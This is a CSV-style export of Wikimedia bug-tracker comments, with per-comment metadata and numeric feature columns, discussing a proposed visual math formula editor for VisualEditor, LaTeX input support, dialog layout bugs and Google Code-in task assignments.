I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a calculator. If you put / in the visual box in your keyboard, it would put the wikitext: \frac . It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or math handwriting recognition [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588367587,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1.0,0.0,0.0,0.5,0.0,6.5,0.0,0.0,0.0,1.0,3.0,2.0,0.0,0.0,0.0,0.5,1.5,1.5,8.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,3.0,1.0,1.5,0.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,16.5,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,8.0,0.5,10.5,1.0,1.0,10.0,0.0,1.0,0.0,0.0,3.5,0.0,1.0,0.0,3.5,8.5,4.0,0.0,0.0,0.0,3.5,0.0,0.5,5.5,0.0,1.0,0.0,0.0,2.0,4.348484848484849,0.7727272727272727,"[URL a formula Help:Displaying a formula]
[http//en.wikipedia.org/wiki File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]

I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a calculator. If you put / in the visual box in your keyboard, it would put the wikitext: \frac . It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or math handwriting recognition [URL Just some ideas ;-)"
493701,Create a visual VisualEditor plugin tool to add/edit maths blocks,I added a screenshot so that the task becomes easier to understand,,,1437349341,,PHID-USER-4sfm3grxdo6hnogm4iqe,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,106,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,25.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,4.583333333333333,1.0,I added a screenshot so that the task becomes easier to understand
493700,Create a visual VisualEditor plugin tool to add/edit maths blocks,"I was already wondering... yes when you wonder...there might be a good reason for that;-)
Thanks for the clarification. So you mean something like
http://saskatoon.cs.rit.edu/min_instructions/",,,1437349029,,PHID-USER-4sfm3grxdo6hnogm4iqe,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,106,,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,9.0,9.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,9.0,9.0,6.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.0,0.875,"I was already wondering... yes when you wonder...there might be a good reason for that;-)
Thanks for the clarification. So you mean something like
URL"
493697,Create a visual VisualEditor plugin tool to add/edit maths blocks,"No. By ""plain wikitext"" the filer means ""in LaTeX rather than visually"", hence the title of this task.",,,1437348608,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,106,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,16.0,4.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.8,"No. By ""plain wikitext"" the filer means ""in LaTeX rather than visually"", hence the title of this task."
493692,Create a visual VisualEditor plugin tool to add/edit maths blocks,"I tested

```
Math is unparsed but shown as plain wikitext: https://en.wikipedia.org/wiki/User:Raymond/Math
```
and i could edit without issues. I could see a renderd formula when visiting this page
https://en.wikipedia.org/wiki/User:Raymond/Math?veaction=edit
Ok it had the png rendering and not the MathML rendering, but I think this is a seperate bug.",,,1437347647,,PHID-USER-4sfm3grxdo6hnogm4iqe,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,106,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,2.0,14.0,2.0,6.0,12.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,10.0,2.0,4.0,0.0,0.0,0.0,10.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,3.38,0.72,"I tested

``CODE``
and i could edit without issues. I could see a renderd formula when visiting this page
URL
Ok it had the png rendering and not the MathML rendering, but I think this is a seperate bug."
391094,Create a visual VisualEditor plugin tool to add/edit maths blocks,">>! In T45058#932936, @matmarex wrote:
> This has been fixed a looong time ago, or needs a better summary to explain what's missing.

Happy?",,,1418933302,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,76,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.8333333333333334,"QUOTE
QUOTE

Happy?"
390932,Create a visual VisualEditor plugin tool to add/edit maths blocks,"This has been fixed a looong time ago, or needs a better summary to explain what's missing.",,,1418920884,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,76,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,5.0,0.0,0.0,3.75,0.95,"This has been fixed a looong time ago, or needs a better summary to explain what's missing."
203967,Create a visual VisualEditor plugin tool to add/edit maths blocks,"**physik** wrote:

I'm happy to see the interest in the Math extension.
It would be really great to get some code reviews. There are a lot of unmerged improvements that are already implemented that wait for a code review.
https://gerrit.wikimedia.org/r/#/q/status:open+project:mediawiki/extensions/Math,n,z
The fromula editor for math is one example. The code for Math 2.0 that was finished in beginning of October 2013 is still waiting for review and not moving forward at all. That's really a very sad situation. (Sorry for the spamming)",,,1393519044,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,34,,1.5,0.0,1.0,1.5,1.0,2.5,0.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.5,0.5,0.0,8.0,9.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,5.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,12.0,2.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,6.0,4.5,9.0,0.0,1.0,7.5,0.0,0.0,0.0,0.0,1.5,1.0,3.0,0.0,1.0,9.5,3.5,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.773529411764706,0.8123529411764705,"**physik** wrote:

I'm happy to see the interest in the Math extension.
It would be really great to get some code reviews. There are a lot of unmerged improvements that are already implemented that wait for a code review.
URL
The fromula editor for math is one example. The code for Math 2.0 that was finished in beginning of October 2013 is still waiting for review and not moving forward at all. That's really a very sad situation. (Sorry for the spamming)"
203962,Create a visual VisualEditor plugin tool to add/edit maths blocks,"(In reply to PiRSquared17 from comment #28)
> I'm not sure we need to reinvent the wheel.  Aren't there already libre JS
> formula editors that can export to LaTeX?  I just found one from Google:
> http://mathdox.org/formulaeditor/

Who is talking about re-inventing the wheel?",,,1393518234,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,19.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,0.0,0.0,0.0,3.5185185185185186,0.8518518518518519,"(In reply to PiRSquared17 from comment #28)
QUOTE
QUOTE
QUOTE

Who is talking about re-inventing the wheel?"
203955,Create a visual VisualEditor plugin tool to add/edit maths blocks,I'm not sure we need to reinvent the wheel.  Aren't there already libre JS formula editors that can export to LaTeX?  I just found one from Google: http://mathdox.org/formulaeditor/,,,1393518034,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,9.0,0.0,11.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,9.0,9.0,9.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5428571428571427,0.9142857142857143,I'm not sure we need to reinvent the wheel.  Aren't there already libre JS formula editors that can export to LaTeX?  I just found one from Google: URL
203952,Create a visual VisualEditor plugin tool to add/edit maths blocks,"(In reply to Richard Morris from comment #26)
> I hope the LaTeX editor is not going to be short term. This is the preferred
> input method for the mathematical community. By all means develop a GUI but
> please make sure you can still use a LaTeX input method.

+1",,,1393517762,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,16.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1578947368421053,0.7894736842105263,"(In reply to Richard Morris from comment #26)
QUOTE
QUOTE
QUOTE

+1"
203948,Create a visual VisualEditor plugin tool to add/edit maths blocks,I hope the LaTeX editor is not going to be short term. This is the preferred input method for the mathematical community. By all means develop a GUI but please make sure you can still use a LaTeX input method.,,,1392761006,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,33,,2.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,7.0,14.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,5.0,7.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.953488372093023,0.7906976744186046,I hope the LaTeX editor is not going to be short term. This is the preferred input method for the mathematical community. By all means develop a GUI but please make sure you can still use a LaTeX input method.
203944,Create a visual VisualEditor plugin tool to add/edit maths blocks,*** Bug 61498 has been marked as a duplicate of this bug. ***,,,1392741898,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,33,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 61498 has been marked as a duplicate of this bug. ***
203942,Create a visual VisualEditor plugin tool to add/edit maths blocks,"(In reply to Andre Klapper from comment #21)
> It's a bit unclear to me which further steps are required to get this ticket
> closed (probably creating dependency tickets for the items in comment 19?).

No, the issues in comment 19 only refer to the short-term LaTeX editor. This bug is asking for a fully-featured visual interactive editor for formulae – will merge bug 61498 back into this.",,,1392741889,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,33,,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7142857142857144,0.8214285714285714,"(In reply to Andre Klapper from comment #21)
QUOTE
QUOTE

No, the issues in comment 19 only refer to the short-term LaTeX editor. This bug is asking for a fully-featured visual interactive editor for formulae – will merge bug 61498 back into this."
203939,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Bug 57437 is to ""Allow the VE dialog for math elements to be movable and resizable"", which is already a blocker for this ticket. This assigned to a google code-in student, Theopolisme, who I suspect is no longer working on that bug.

I've create bug 61497 to cover up the jumbled up formula in comment 16.

I think Jiabao original plan was to create a GUI I've added a bug for this as bug 61498.

Dialog overlapping the equation might be resolved by bug 57437 or it could possibly resolved by changing the way it is initially displayed.",,,1392740544,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,2.0,0.0,3.0,3.0,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.0,3.0,1.0,3.0,11.0,0.0,2.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,2.0,0.0,1.0,5.0,1.5,2.0,2.0,0.0,0.0,0.5,0.5,2.5,0.0,0.0,1.0,2.5,1.0,1.0,0.0,0.0,0.0,10.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.5,8.0,0.0,1.5,9.5,0.0,0.0,0.0,0.0,4.0,0.0,3.5,0.0,4.5,11.0,4.0,0.0,1.0,0.0,4.5,0.0,1.0,3.0,0.0,2.5,0.5,0.0,0.0,3.8449788263762854,0.7738959467634603,"Bug 57437 is to ""Allow the VE dialog for math elements to be movable and resizable"", which is already a blocker for this ticket. This assigned to a google code-in student, Theopolisme, who I suspect is no longer working on that bug.

I've create bug 61497 to cover up the jumbled up formula in comment 16.

I think Jiabao original plan was to create a GUI I've added a bug for this as bug 61498.

Dialog overlapping the equation might be resolved by bug 57437 or it could possibly resolved by changing the way it is initially displayed."
203936,Create a visual VisualEditor plugin tool to add/edit maths blocks,"**physik** wrote:

From what I see
https://gerrit.wikimedia.org/r/#/c/105647/ and
https://gerrit.wikimedia.org/r/#/c/105648/
need to be resolved before we can make progress on that.",,,1392739625,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.933333333333333,0.8,"**physik** wrote:

From what I see
URL and
URL
need to be resolved before we can make progress on that."
203933,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Seems that Jiabao is not currently working on this ticket, hence resetting ASSIGNED status. 
It's a bit unclear to me which further steps are required to get this ticket closed (probably creating dependency tickets for the items in comment 19?).",,,1392729667,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,33,,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,12.0,4.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,2.0,6.0,0.0,0.0,0.0,4.291666666666667,0.9166666666666666,"Seems that Jiabao is not currently working on this ticket, hence resetting ASSIGNED status. 
It's a bit unclear to me which further steps are required to get this ticket closed (probably creating dependency tickets for the items in comment 19?)."
203926,Create a visual VisualEditor plugin tool to add/edit maths blocks,OK I've created bug 57437 for the tweaks to the dialog and assigned it to Theopolisme. Hope that OK.,,,1385146178,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,23.0,5.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.8181818181818182,OK I've created bug 57437 for the tweaks to the dialog and assigned it to Theopolisme. Hope that OK.
203921,Create a visual VisualEditor plugin tool to add/edit maths blocks,"There are different problems reported here, and we should have separate reports for each. Then we will tie each bug report to a Google Code-in task:

* The dialog overlaps the equation: the solution might be a combination of setting a default position with less chances of overlapping and/or allowing the dialog to be moved to a different position?

* The dialog is sometimes too small: the solution might be to make the dialog resizable?

* #Comment 16 deserves an own bug report but, haven't tested this plugin myself, I can't describe the problem or propose solutions.

Richard, would you like to create these reports?

I'm going to pull http://www.google-melange.com/gci/task/view/google/gci2013/5861921152565248 in order to create 2 GCI tasks or more. Theopolisme, you can try to work on these issues now, or you can wait until the plan is more defined (and Jiabao is back, or we have found a co-mentor able to help you).",,,1385134282,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,20,,1.0,0.0,0.0,1.0,1.0,4.5,1.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.5,3.0,0.5,4.5,9.0,0.0,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,4.5,0.5,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,4.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,1.5,0.0,1.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,7.5,3.5,7.5,0.0,4.5,10.5,0.0,0.0,0.0,0.5,8.5,0.0,1.0,0.0,5.5,9.0,3.0,1.5,0.0,0.0,5.5,0.0,0.0,3.0,0.5,2.0,1.5,0.0,0.0,3.819658719027583,0.6919705469845723,"There are different problems reported here, and we should have separate reports for each. Then we will tie each bug report to a Google Code-in task:

* The dialog overlaps the equation: the solution might be a combination of setting a default position with less chances of overlapping and/or allowing the dialog to be moved to a different position?

* The dialog is sometimes too small: the solution might be to make the dialog resizable?

* #Comment 16 deserves an own bug report but, haven't tested this plugin myself, I can't describe the problem or propose solutions.

Richard, would you like to create these reports?

I'm going to pull URL in order to create 2 GCI tasks or more. Theopolisme, you can try to work on these issues now, or you can wait until the plan is more defined (and Jiabao is back, or we have found a co-mentor able to help you)."
203914,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Just a bit of background: Theopolisme is a Google Code-in student working on a task related to #comment 15 that was created by Jiabao:

http://www.google-melange.com/gci/task/view/google/gci2013/5861921152565248

Jiabao has been silent in the past days. Your help is welcome while she comes back. Thank you!",,,1385084439,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,2.0,0.0,6.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,2.0,0.0,8.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,6.0,13.0,11.0,0.0,0.0,0.0,6.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,3.6792452830188678,0.8490566037735849,"Just a bit of background: Theopolisme is a Google Code-in student working on a task related to #comment 15 that was created by Jiabao:

URL

Jiabao has been silent in the past days. Your help is welcome while she comes back. Thank you!"
203909,Create a visual VisualEditor plugin tool to add/edit maths blocks,"@Richard/others: Thinking about making the dialog draggable and resizable...

The solution I initially think of is installing jquery.ui and then adding some parameters to OO.ui.Window that allow it to be made resizable and/or draggable. However, if I recall correctly one of the principles of OOJS was to be self-contained... so would this be wrong? Could someone else with a bit more firsthand experience chime in here?",,,1385074537,,PHID-USER-wgpse4towjiaqbzotzgo,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,20,,1.0,1.0,0.0,1.0,0.0,8.0,2.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,10.0,12.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,5.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,12.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,6.0,12.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,12.0,2.0,2.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,5.0,1.0,0.0,1.0,4.4875,0.825,"SCREEN_NAME/others: Thinking about making the dialog draggable and resizable...

The solution I initially think of is installing jquery.ui and then adding some parameters to OO.ui.Window that allow it to be made resizable and/or draggable. However, if I recall correctly one of the principles of OOJS was to be self-contained... so would this be wrong? Could someone else with a bit more firsthand experience chime in here?"
203903,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Also editing the last equation at https://www.mediawiki.org/wiki/VisualEditor:TestMath?veaction=edit

if you actually make a change to the text of the equation the displayed equation becomes very jumbled. Any vertical positioning is lost, and text from different lines are overlaid on top of each other.

